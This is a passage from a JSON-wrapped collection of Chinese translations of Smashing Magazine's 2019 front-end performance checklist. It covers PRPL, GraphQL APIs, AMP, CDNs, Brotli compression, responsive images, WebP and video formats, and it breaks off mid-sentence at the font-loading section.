Osmani](https://medium.com/@addyosmani/the-cost-of-javascript-in-2018-7d8950fbb5d4)）（[大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/53363a80-48ae-4f91-aed0-69d292e6d7a2/2018-js-processing-times.png)）\n\n#### 13. 考虑使用 PRPL 模式以及应用程序 shell 架构\n\n不同的框架会对性能产生不同的影响，并且不需要不同的优化策略，因此你必须清楚地了解你将依赖的框架的所有细节。构建 Web 应用程序时，请查看 [PRPL模式](https://developers.google.com/web/fundamentals/performance/prpl-pattern/) 和 [应用程序 shell 体系结构](https://developers.google.com/web/updates/2015/11/app-shell)。这个想法非常简单：推送初始路由交互所需的最少代码，以便快速渲染，然后使用 service worker 进行缓存和预缓存资源，然后异步地延迟加载所需的路由。\n\n[![PRPL Pattern in the application shell architecture](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/bb4716e5-d25b-4b80-b468-f28d07bae685/app-build-components-dibweb-c-scalew-879-opt.png)](https://developers.google.com/web/fundamentals/performance/prpl-pattern/)\n\n[PRPL](https://developers.google.com/web/fundamentals/performance/prpl-pattern/) 代表按需推送关键资源，渲染初始路由，预缓存与按需求延迟加载剩余路由。\n\n[![Application shell architecture](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/6423db84-4717-4aeb-9174-7ae96bf4f3aa/appshell-1-o0t8qd-c-scalew-799-opt.jpg)](https://developers.google.com/web/updates/2015/11/app-shell)\n\n应用程序 shell 是驱动用户界面所需要的最少 HTML、CSS 和 JavaScript。 \n\n#### 14. 你是否优化了各个 API 的性能？\n\nAPI 是应用程序通过所谓的端点向内部和第三方应用程序公开数据的通信通道。在 [设计和构建 API 时](https://www.smashingmagazine.com/2012/10/designing-javascript-apis-usability/)，我们需要一个合理的协议来启动服务器和第三方请求之间的通信。[Representational State Transfer](https://www.smashingmagazine.com/2018/01/understanding-using-rest-api/)（[**REST**](http://web.archive.org/web/20130116005443/http://tomayko.com/writings/rest-to-my-wife)）是一个合理的成熟选择：它定义了开发人员遵循的一组约束，以便以高性能，可靠和可扩展的方式访问内容。符合 REST 约束的 Web 服务称为 **RESTful Web 服务**。\n\nHTTP 请求成功时，当从 API 检索数据，服务器响应中的任何延迟都将传播给最终用户，从而延迟渲染。当资源想要从 API 检索某些数据时，它将需要从相应的端点请求数据。从多个资源渲染数据的组件（例如，在每个评论中包含评论和作者照片的文章）可能需要多次往返服务器以在渲染之前获取所有数据。此外，通过 REST 返回的数据量通常大于渲染该组件所需的数据量。\n\n如果许多资源需要来自 API 的数据，API 可能会成为性能瓶颈。[GraphQL](https://graphql.org/) 为这些问题提供了高性能的解决方案。本身，GraphQL 是 API 的查询语句，是一个使用你为数据定义的类型系统执行查询的服务端运行时。与 REST 不同，GraphQL 可以在单个请求中检索所有数据，并且响应将完全符合要求，而不会像 REST 那样**过多**或**过少**读取数据。\n\n此外，由于 GraphQL 使用 schema（描述数据结构的元数据），它已经可以将数据组织到首选结构中，因此，例如，[使用 GraphQL，我们可以删除用于处理状态管理的 JavaScript 代码](https://hackernoon.com/how-graphql-replaces-redux-3fff8289221d)，生成更简洁的应用程序代码，可以在客户端上运行得更快。\n\n如果你想开始使用 GraphQL，Eric Bear 在 Smashing 杂志上发表了两篇精彩的文章：[A GraphQL Primer: Why We Need A New Kind Of API](https://www.smashingmagazine.com/2018/01/graphql-primer-new-api-part-1/) 以及 [A GraphQL Primer: The Evolution Of API Design](https://www.smashingmagazine.com/2018/01/graphql-primer-new-api-part-2/)（**感谢提示，Leonardo**）。\n\n[![Hacker Noon](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/5fda8d85-1151-4d0b-b2f6-da354ebae345/redux-rest-apollo-graphql.png)](https://hackernoon.com/how-graphql-replaces-redux-3fff8289221d) \n\nREST 和 GraphQL 之间的区别，就如左图 Redux + REST 之间的对话与右图 Apollo + GraphQL 的对话的区别（图片来源：[Hacker Noon](https://hackernoon.com/how-graphql-replaces-redux-3fff8289221d)）（[大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/5fda8d85-1151-4d0b-b2f6-da354ebae345/redux-rest-apollo-graphql.png)）\n\n#### 15. 你会使用 AMP 或 Instant Articles 吗？\n\n根据你的组织的优先级和策略，你可能需要考虑使用 Google 的 [AMP](https://www.ampproject.org/) 或者 Facebook 的 [Instant Articles](https://instantarticles.fb.com/) 或者 Apple 的 [Apple News](https://www.apple.com/news/)。如果没有它们，你也获得良好的性能，但 AMP 确实提供了一个可靠的性能框架和免费的内容分发网络（CDN），而 Instant Articles 将提高你在 Facebook 上的可见性和性能。\n\n对于用户来说，这些技术最直观的好处是保证了性能。 所以比起“正常“的和可能膨胀的页面，有时用户甚至更喜欢 AMP/Apple News/Instant Pages 链接。对于处理大量第三方内容的内容繁重的网站，这些选项可能有助于大幅加快渲染时间。\n\n[除非他们不这样做](https://timkadlec.com/remembers/2018-03-19-how-fast-is-amp-really/)。例如，根据 Tim Kadlec的说法，“AMP 文档往往比同行更快，但并不一定意味着页面具有高性能。在性能方面，AMP 不是最大的差异。”\n\n站长的好处显而易见：这些格式在各自平台上的可发现性以及[搜索引擎的可见性提高](https://ethanmarcotte.com/wrote/ampersand/)。你也可以通过重复使用 AMP 作为 PWA 的数据源来[构建渐进式 web APM](https://www.smashingmagazine.com/2016/12/progressive-web-amps/)。至于缺点？显然，因为各个平台的不同的要求和限制，开发人员需要对他们的内容，在不同平台制作和维护不同的版本，如果是 Instant Articles 和 Apple News [没有实际的URL](https://www.w3.org/blog/TAG/2017/07/27/distributed-and-syndicated-content-whats-wrong-with-this-picture/)（感谢 Addy，Jeremy）。\n\n#### 16. 明智地选择你的 CDN\n\n根据你拥有的动态数据量，你可以将内容的某些部分“外包”到 [静态站点生成器](https://www.smashingmagazine.com/2015/11/static-website-generators-jekyll-middleman-roots-hugo-review/)，将其推送到 CDN 并从中提供静态版本，从而避免数据库请求。你甚至可以选择基于 CDN 的[静态托管平台](https://www.smashingmagazine.com/2015/11/modern-static-website-generators-next-big-thing/)，通过交互式组件丰富你的页面作为增强功能（[JAMStack](https://jamstack.org/)）。事实上，其中一些生成器（如 Reats 之上的 [Gatsby](https://www.gatsbyjs.org/blog/2017-09-13-why-is-gatsby-so-fast/)）实际上是[网站编译器](https://tomdale.net/2017/09/compilers-are-the-new-frameworks/)，提供了许多自动优化功能。随着编译器随着时间的推移添加优化，编译后的输出随着时间的推移变得越来越小，越来越快。\n\n请注意，CDN 也可以提供（和卸载）动态内容。因此，不必将CDN限制为只有静态文件。仔细检查你的 CDN 是否执行压缩和转换（例如，在格式，压缩和边缘大小调整方面的图像优化），对 [servers workers](https://www.filamentgroup.com/lab/servers-workers.html) 的支持，包括边缘，在 CDN 边缘组装页面的静态和动态部分（即最接近用户的服务器）和其他任务。\n\n注意：基于 Patrick Meenan 和 Andy Davies 的研究，HTTP/2 [在许多 CDN 上被破坏](https://github.com/andydavies/http2-prioritization-issues#cdns--cloud-hosting-services)，所以我们不应该对那里的性能提升过于乐观。\n\n> - [译] [2019 前端性能优化年度总结 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-1.md)\n> - **[译] [2019 前端性能优化年度总结 — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-2.md)**\n> - [译] [2019 前端性能优化年度总结 — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-3.md)\n> - [译] [2019 前端性能优化年度总结 — 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-4.md)\n> - [译] [2019 前端性能优化年度总结 — 第五部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-5.md)\n> - [译] [2019 前端性能优化年度总结 — 第六部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-6.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/front-end-performance-checklist-2019-pdf-pages-3.md",
    "content": "> * 原文地址：[Front-End Performance Checklist 2019 — 3](https://www.smashingmagazine.com/2019/01/front-end-performance-checklist-2019-pdf-pages/)\n> * 原文作者：[Vitaly Friedman](https://www.smashingmagazine.com/author/vitaly-friedman)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-3.md](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-3.md)\n> * 译者：[Starriers](https://github.com/Starriers)\n> * 校对者：[Jingyuan0000](https://github.com/Jingyuan0000), [kikooo](https://github.com/kikooo)\n\n# 2019 前端性能优化年度总结 — 第三部分\n\n让 2019 来得更迅速吧~你正在阅读的是 2019 年前端性能优化年度总结，始于 2016。\n\n> - [译] [2019 前端性能优化年度总结 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-1.md)\n> - [译] [2019 前端性能优化年度总结 — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-2.md)\n> - **[译] [2019 前端性能优化年度总结 — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-3.md)**\n> - [译] [2019 前端性能优化年度总结 — 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-4.md)\n> - [译] [2019 前端性能优化年度总结 — 第五部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-5.md)\n> - [译] [2019 前端性能优化年度总结 — 第六部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-6.md)\n\n#### 目录\n\n- [资源优化](#资源优化)\n  - [17. 使用 Brotli 或 Zopfli 来对纯文本进行压缩](#17-使用-brotli-或-zopfli-来对纯文本进行压缩)\n  - [18. 使用响应图像和 WebP](#18-使用响应图像和-webp)\n  - [19. 图像的优化是否得当](#19-图像的优化是否得当)\n  - [20. 视频优化是否得当](#20-视频优化是否得当)\n  - [21. Web 字体优化过了么](#21-web-字体优化过了么)\n\n### 资源优化\n\n#### 17. 使用 Brotli 或 Zopfli 来对纯文本进行压缩\n\n2015 年，Google [推出了](https://opensource.googleblog.com/2015/09/introducing-brotli-new-compression.html) [Brotli](https://github.com/google/brotli)，一种新开源的无损数据格式，现已被[所有现代浏览器所支持](http://caniuse.com/#search=brotli)。实际上，Brotli 比 Gzip 和 Deflate [有效得](https://quixdb.github.io/squash-benchmark/#results-table)[多](https://paulcalvano.com/index.php/2018/07/25/brotli-compression-how-much-will-it-reduce-your-content/)。因为它比较依赖配置，所以这种压缩可能会（非常）慢，但较慢的压缩意味着更高的压缩率。不过它解压速度很快。所以你可以[考虑 Brotli 为你的网站所节省的成本](https://tools.paulcalvano.com/compression.php)。\n\n只有用户通过 HTTPS 访问站点时，浏览器才会接受这种格式。那代价是什么呢？Brotli 并没有预安装在一些服务器上，所以如果没有自编译 Nginx，那么配置就会相对困难。尽管如此，[它也并非是不可攻破的难题](https://www.tinywp.in/nginx-brotli/)，比如，[Apache 自 2.4.26](https://httpd.apache.org/docs/trunk/mod/mod_brotli.html) 版本起，开始逐步对它进行支持。得益于 Brotli 被众多厂商支持，许多 CDN 也开始支持它（[Akamai](https://community.akamai.com/community/web-performance/blog/2017/08/18/brotli-support-enablement-on-akamai)、[AWS](https://medium.com/@felice.geracitano/brotli-compression-delivered-from-aws-7be5b467c2e1)、[KeyCDN](https://www.keycdn.com/blog/keycdn-brotli-support)、[Fastly](https://docs.fastly.com/guides/detailed-product-descriptions/performance-optimization-package)、[Cloudlare](https://support.cloudflare.com/hc/en-us/articles/200168396-What-will-Cloudflare-compress-)、[CDN77](https://www.cdn77.com/brotli)），你甚至（结合 service worker 一起使用）[可以在不支持它的 CDN 上，启用 Brotli](http://calendar.perfplanet.com/2016/enabling-brotli-even-on-cdns-that-dont-support-it-yet/)。\n\n在最高级别压缩时，Brotli 会非常缓慢，以至于服务器在开始发送响应前等待动态压缩资源所花费的时间，可能会抵消文件大小（被压缩后）的潜在增益。但对于静态压缩，[应该首选更高级别的压缩](https://css-tricks.com/brotli-static-compression/)。\n\n或者，你可以考虑使用将数据编码为 Deflate、Gzip 和 Zlib 格式的 [Zopfli 的压缩算法](https://blog.codinghorror.com/zopfli-optimization-literally-free-bandwidth/)。任何普通的 Gzip 压缩资源都可以通过 Zopfli 改进的 Deflate 编码达到比 Zlib 的最大压缩率小 3% 到 8%的文件大小。问题是压缩文件大约需要耗费 80 倍的时间。这就是为什么在资源上使用 Zopfli 是个好主意，因为这些资源不会发生太大的变化，它们被设计成只压缩一次但可以下载多次。\n\n如果可以降低动态压缩静态资源的成本，那么这种付出是值得的。Brotli 和 Zopfli 都可以用于任意纯文本的有效负载 — HTML、CSS、SVG 和 JavaScript 等。\n\n有何对策呢？[使用最高级别的 Brotli + Gzip 来预压缩静态资源](https://css-tricks.com/brotli-static-compression/)，使用 Brotli 在 1 — 4 级中动态压缩（动态）HTML。确保服务器正确处理 Brotli 或 Gzip 的协议内容。如果你在服务器上无法安装/维护 Brotli，请使用 Zopfli。\n    \n#### 18. 使用响应图像和 WebP\n\n尽量使用带有 `srcset`、`sizes` 属性的响应式图片和 `<picture>` 元素[响应式图片](https://www.smashingmagazine.com/2014/05/responsive-images-done-right-guide-picture-srcset/)。当然，你还可以通过在原生 `<picture>` 上使用 WebP 图片以及回退到 JPEG 的机制或者使用协议内容的方式中使用 [WebP 格式](https://www.smashingmagazine.com/2015/10/webp-images-and-performance/)（在 Chrome、Opera、Firefox 65、Edge 18 中都被支持的格式）（参见 Andreas Bovens 的[代码片段](https://dev.opera.com/articles/responsive-images/#different-image-types-use-case)），或者使用协议内容（`Accept` 头部）。Ire Aderinokun 也有关于[将图像转换为 WebP 图像的超详细教程](https://bitsofco.de/why-and-how-to-use-webp-images-today/)。\n\nSketch 原生地支持 WebP 的，可以使用 [Phtotshop 的 WebP 插件](http://telegraphics.com.au/sw/product/WebPFormat#webpformat)从 Photoshop 中导出 WebP 图像。[当然也存在其他可用的选项](https://developers.google.com/speed/webp/docs/using)。如果你正在使用 WordPress 或 Joomla，也可以使用一些扩展来帮助你自己轻松实现对 WebP 的支持，比如适用于 WordPress 的 [Optimus](https://wordpress.org/plugins/optimus/) 和 [Cache Enabler](https://wordpress.org/plugins/cache-enabler/)，[Joomla 当然也存在对应可提供支持的扩展](https://extensions.joomla.org/extension/webp/) (通过使用 [Cody Arsenault](https://css-tricks.com/comparing-novel-vs-tried-true-image-formats/))。\n\n需要注意的是，尽管 WebP 图像文件大小[等价于 Guetzli 和 Zopfli](https://www.ctrl.blog/entry/webp-vs-guetzli-zopfli)，但它[并不支持像 JPEG 这样的渐进式渲染](https://youtu.be/jTXhYj2aCDU?t=630)，这也是用户以前通过 JPEG 可以更快地看到实际图像的原因，尽管 WebP 图像在网络中的传输速度更快。使用 JPEG，我们可以将一半甚至四分之一的数据提供给用户，然后再加载剩余数据，而不是像 WebP 那样可能会导致有不完整的图像。你应该根据自己的需求来进行取舍：使用 WebP，你可以有效减少负载，使用 JPEG，你可以提高性能感知。\n\n在 Smashing Magazine 中，我们使用 `-opt` 后缀来为图像命名 — 比如，`brotli-compression-opt.png`；这样，当我们发现图像包含该后缀时，团队成员就会明白这个图像已经被优化过了。— **难以置信**！— Jeremy Wagner [出了一本关于 WebP 的书，写的很好](https://www.smashingmagazine.com/ebooks/the-webp-manual/)。\n\n[![Responsive Image Breakpoints Generator](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/db62c469-bbfc-4959-839d-590abb41b64e/responsive-breakpoints-opt.png)](http://www.responsivebreakpoints.com/)\n\n[响应式图片端点生成器](http://www.responsivebreakpoints.com/)会自动生成图像和标记。\n\n#### 19. 图像的优化是否得当？\n\n当你在开发 landing page 时，特定图像的加载必须很快，要确保 JPEG 是渐进加载的并且经过了 [mozJPEG] 或者 [Guetzli](https://github.com/google/guetzli) 的压缩（通过操作扫描级别来改进开始渲染的时间），Google 新开源的编码器专注于性能感知，并利用了从 Zopfli 和 WebP 中所学的优点。[唯一的缺点是](https://medium.com/@fox/talk-the-state-of-the-web-3e12f8e413b3)：处理时间慢（每百万像素需要一分钟的 CPU）。对于 PNG 来说，我们可以使用 [Pingo](http://css-ig.net/pingo)，对于 SVG 来说，我们可以使用 [SVGO](https://www.npmjs.com/package/svgo) 或 [SVGOMG](https://jakearchibald.github.io/svgomg/)。如果你需要快速预览、复制或下载网站上的所有 SVG 资源，那么你可以尝试使用 [svg-grabber](https://chrome.google.com/webstore/detail/svg-grabber-get-all-the-s/ndakggdliegnegeclmfgodmgemdokdmg)。\n\n虽然每一篇图像优化文章都会说，但是我还是要提醒应该保证矢量资源的干净和紧凑。要记得清理未使用的资源，删除不必要的元数据以及图稿中的路径点数量（比如 SVG 这类代码）（**感谢 Jeremy！**）\n\n还有更高级的选项，比如：\n\n*   使用 [Squoosh](https://squoosh.app/) 以最佳压缩级别（有损或无损）压缩。调整和操作图像。\n\n*   使用[响应式图像断点生成器](http://www.responsivebreakpoints.com/)或 [Cloudinary](http://cloudinary.com/documentation/api_and_access_identifiers)、[Imgix](https://www.imgix.com/) 这样的服务来实现自动化图像优化。此外，在许多情况下，使用 `srcset` 和 `sizes` 可以获得最佳效果。\n\n*   要检查响应标记的效率，你可以使用 [imaging-heap](https://github.com/filamentgroup/imaging-heap)（一个命令行工具）来检测不同视窗大小和设备像素比的效果。\n\n*   使用 [lazysizes](https://github.com/aFarkas/lazysizes) 来延迟加载图像和 iframes，这是一个通过检测用户交互（或之后我们将讨论的 IntersectionObserver）来触发任何可见性修改的库。\n\n*   注意默认加载的图像，它们可能永远也用不到 —— 例如，在 carousels、accordions 和 image galleries。\n\n*   考虑根据请求类型来指定的不同图像显示以[通过 Sizes 属性切换图像](https://www.filamentgroup.com/lab/sizes-swap/)，比如，操作 `sizes` 来交换 magnifier 组件中的数据源。\n\n*   为防止前景和背景图像的意外下载，请检查[图像下载的不一致性](https://csswizardry.com/2018/06/image-inconsistencies-how-and-when-browsers-download-images/)。\n\n*   为了从根本上优化存储，你可以使用 Dropbox 的新[格式（Lepton）](https://github.com/dropbox/lepton)来对 JPEG 执行平均值可达到 22% 的无损压缩。\n\n*   注意 [CSS 属性中的 `aspect-ratio` 属性](https://drafts.csswg.org/css-sizing-4/#ratios) 和 [`intrinsicsize` 属性](https://github.com/ojanvafai/intrinsicsize-attribute)，它们允许为图像设置宽高和尺寸，因此浏览器为了[避免样式错乱](https://24ways.org/2018/jank-free-image-loads/)，可以在页面加载期间提前预留一个预定义的布局槽。\n\n*   如果你喜欢冒险，为了更快地通过网络传输图像，可以使用基于 CDN 的实时过滤器 [Edge workers](https://youtu.be/jTXhYj2aCDU?t=854) 来终止并重排 HTTP/2 流。Edge workers 使用你可以控制的 JavaScript 流模块（它们是运行在 CDN 上的，可以修改响应流），这样你就可以控制图像的传输。相对于 service worker 来说，这个过程时间稍长，因为你无法控制传输过程，但它确实适用于 Edge workers。因此，你可以在针对特定登录页面逐步保存的静态 JPEG 上使用它们。\n\n[![](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/8422076c-6eea-4b35-a98c-b15445cb2dff/viewport-percentage-match.jpg)](https://pbs.twimg.com/media/DY1XZ28VwAAwjd8.jpg) \n\n[imaging-heap](https://github.com/filamentgroup/imaging-heap)（一个用于检测跨视窗大小及设备像素比的加载效率的命令行工具）的输出样例，（[图像来源](https://pbs.twimg.com/media/DY1XZ28VwAAwjd8.jpg)）（[详细预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/8422076c-6eea-4b35-a98c-b15445cb2dff/viewport-percentage-match.jpg)）\n\n响应式图像的未来可能会随着采用[客户端提示](https://cloudfour.com/thinks/responsive-images-201-client-hints/)而发生巨变。客户端提示内容是 HTTP 的请求头字段，例如 `DPR`、`Viewport-Width`、`Width`、`Save-Data`、`Accept`（指定图像格式首选项）等。它们应该告知服务器用户的浏览器、屏幕、连接等细节。因此，服务器可以决定如何用对应大小的图像来填充布局，而且只提供对应格式所需的图像。通过客户端提示，我们将资源从 HTML 标记中，迁移到客户端和服务器之间的请求响应协议中。\n\n就像 Ilya Grigorik [说的](https://developers.google.com/web/updates/2015/09/automating-resource-selection-with-client-hints)那样，客户端提示使图像处理更加完整 —— 它们不是响应式图像的替代品。`<picture>` 在 HTML 标记中提供了必要艺术方向的控制。客户端提示为请求的图像提供注释来实现资源选择的自动化。Service Worker 为客户端提供完整的请求和响应管理功能。比如，Service Worker 可以在请求中附加新的客户端提示 header 值，重写 URL 并将图像请求指向 CDN，根据链接调整响应，用户偏好等。它不仅适用于图像资源，也适用于所有其他请求。\n\n对于支持客户端提示的客户端，可以检测到在[图像上已经节省了 42% 的字节](https://twitter.com/igrigorik/status/1032657105998700544)和超过 70% 的 1MB+ 字节数。在 Smashing 杂志上，我们同样可以检测到已经[提高了 19-32% 的性能](https://www.smashingmagazine.com/2016/01/leaner-responsive-images-client-hints/)。不幸的是，客户端提示仍然需要[得到浏览器的支持才行](http://caniuse.com/#search=client-hints)。[Firefox](https://bugzilla.mozilla.org/show_bug.cgi?id=935216) 和 [Edge](https://dev.modern.ie/platform/status/httpclienthints/) 正在考虑对它的支持。但如果同时提供普通的响应图像标记和客户端提示的 `<meta>` 标记，浏览器将评估响应图像标记并使用客户端提示 HTTP header 请求相应的图像。\n\n还不够？那么你可以使用[多种](http://csswizardry.com/2016/10/improving-perceived-performance-with-multiple-background-images/)[背景](https://jmperezperez.com/medium-image-progressive-loading-placeholder/)[图像](https://manu.ninja/dominant-colors-for-lazy-loading-images#tiny-thumbnails)[技术](https://css-tricks.com/the-blur-up-technique-for-loading-background-images/)来提高图像的感知性能。请记住，[处理对比以及模糊不必要细节](https://css-tricks.com/contrast-swap-technique-improved-image-performance-css-filters/)（或删除颜色）也可以减小文件大小。你想放大一张小照片而不至于损失质量的话，可以考虑使用 [Letsenhance.io](https://letsenhance.io)。\n\n到目前为止，这些优化只涉及基本内容。Addy Osmani 出版了一份[非常详细的关于基本图像优化的指南](https://images.guide/)，这份指南对于图像压缩和颜色管理的细节有很深入的讲解。例如，你可以模糊图像中不必要的部分（通过应用高斯模糊过滤器）来减小文件大小，甚至可以移除颜色或将图像转换为黑白来进一步缩小文件。对于背景图像，从 Photoshop 中导出的照片质量只有 0 到 10% 是完全可以接受的。[不要在 web 上使用 JPEG-XR](https://calendar.perfplanet.com/2018/dont-use-jpeg-xr-on-the-web/) — “在 CPU 上解码 JPEG-XRs 软件端这个过程会让节省字节大小这个潜在地积极影响失效，甚至更糟，尤其是在 SPAs 情况下”。\n\n#### 20. 视频优化是否得当？\n\n到目前为止，我们的已经讨论完了图像的相关内容，但我们避免了关于 GIF 优点的探讨。坦白说，与其加载影响渲染性能和带宽的重动画 GIF，不如选择动态 WebP（GIF 作为回退）或者用 [HTML5 videos 循环](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/replace-animated-gifs-with-video/)来替换它们。是的，[带有 `<video>` 的浏览器](https://calendar.perfplanet.com/2017/animated-gif-without-the-gif/#-but-we-already-have-video-tags)性能极差，而且与图像不同的是，浏览器不会预加载 `<video>` 内容，但它们往往比 GIF 更轻量级、更小。别无他法了么？那么至少我们可以通过 [Lossy GIF](https://kornel.ski/lossygif)、[gifsicle](https://github.com/kohler/gifsicle) 或 [giflossy](https://github.com/pornel/giflossy) 来有损压缩 GIF。\n\n早期测试表明带有 `img` 标签的内联视频相较于等效的 GIF，除了文件大小问题外，[前者的显示的速度要快 20 倍，解码要快 7 倍](https://calendar.perfplanet.com/2017/animated-gif-without-the-gif/)。虽然在 [Safari 技术预览](https://developer.apple.com/safari/technology-preview/release-notes/)中声明了对 `<img src=\".mp4\">` 的技术支持，但是这个特性还远未普及，因此它在近期内[不会被采用](https://bugs.chromium.org/p/chromium/issues/detail?id=791658#c36)。\n\n![](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/c987b182-0a0e-40e5-8f8d-dd81feb991f5/replace-animated-gifs.jpg)\n\nAddy Osmani [推荐](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/replace-animated-gifs-with-video/)用循环内联视频来取代 GIF 动画。文件大小差异明显（节省了 80%）。([预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/c987b182-0a0e-40e5-8f8d-dd81feb991f5/replace-animated-gifs.jpg))\n\n前端是不停进步的领域，多年来，视频格式一直在不停改革。很长一段时间里，我们一直希望 WebM 可以成为格式的统治者，而 WebP（基本上是 WebM 视频容器中的一个静止图像）将取代过时的图像格式。尽管这些年来 WebP 和 WebM [获得了](https://caniuse.com/webp)[支持](https://caniuse.com/#feat=webm)，但我们所希望看到的突破并未发生。\n\n在 2018，Alliance of Open Media 发布了一种名为 **AV1** 的视频格式。AV1 具有和 H.265（H.264 的改进版本）编码器类似的压缩，但与后者不同的是，AV1 是免费的。H.265 的许可证价格迫使浏览器供应商采用性能相同的 AV1：**AV1（与 H.265 一样）的压缩性能是 WebP 的两倍**。\n\n[![AV1 Logo 2018](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/b5a4354f-4a9b-420d-8979-bd7abb87aebc/av1-logo-2018-full.png)](https://upload.wikimedia.org/wikipedia/commons/thumb/8/84/AV1_logo_2018.svg/2560px-AV1_logo_2018.svg.png) \n    \nAV1 很有可能成为网络视频的终极标准。（图像来源：[Wikimedia.org](https://upload.wikimedia.org/wikipedia/commons/thumb/8/84/AV1_logo_2018.svg/2560px-AV1_logo_2018.svg.png)）（[详细预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/b5a4354f-4a9b-420d-8979-bd7abb87aebc/av1-logo-2018-full.png)）\n    \n事实上，目前 Apple 使用的是 HEIF 格式和 HEVC（H.265），最新的 IOS 中，所有的照片和视频都以这些格式保存，而不是纯 JPEG 格式。尽管 [HEIF](https://caniuse.com/#search=heif) 和 [HEVC（H.265）](https://caniuse.com/#search=hevc) 并没有在网上被公开使用，但[被浏览器已经开始对慢慢支持 AV1 了](https://caniuse.com/#feat=av1)。因此在你的 `<video>` 标签中可以添加 `AV1`，因为所有的浏览器供应商都会慢慢加入对它的支持。\n\n目前来说，使用最广泛的是 H.264，由 MP4 文件提供服务，因此在提供文件之前，请确保你的 MP4 文件用 [multipass-encoding](https://medium.com/@borisschapira/optimize-your-mp4-video-for-better-performance-dareboost-blog-fb2f3f3dce77) 处理过，用 [frei0r iirblur](https://yalantis.com/blog/experiments-with-ffmpeg-filters-and-frei0r-plugin-effects/) 进行了模糊处理（如果适用），[moov atom metadata](http://www.adobe.com/devnet/video/articles/mp4_movie_atom.html) 也被移动到文件头部，而你的服务器[接受字节服务](https://medium.com/@borisschapira/optimize-your-mp4-video-for-better-performance-dareboost-blog-fb2f3f3dce77)。Boris Schapira 提供了 [FFmpeg 的确切说明](https://medium.com/@borisschapira/optimize-your-mp4-video-for-better-performance-dareboost-blog-fb2f3f3dce77)来最大限度地优化视频。当然，提供 WebM 格式作为替代方案也会有所帮助。\n\n视频回放性能本身就有很多内容可以研究，如果你想深入了解它的细节，可以参阅 Doug Sillar 关于[当前视频现状](https://www.smashingmagazine.com/2018/10/video-playback-on-the-web-part-1/)和[视频传输最佳实践](https://www.smashingmagazine.com/2018/10/video-playback-on-the-web-part-2/)的系列视频。包括视频传输指标、视频预加载、压缩和流媒体等详细信息。\n\n![Zach Leatherman’s Comprehensive Guide to Font-Loading 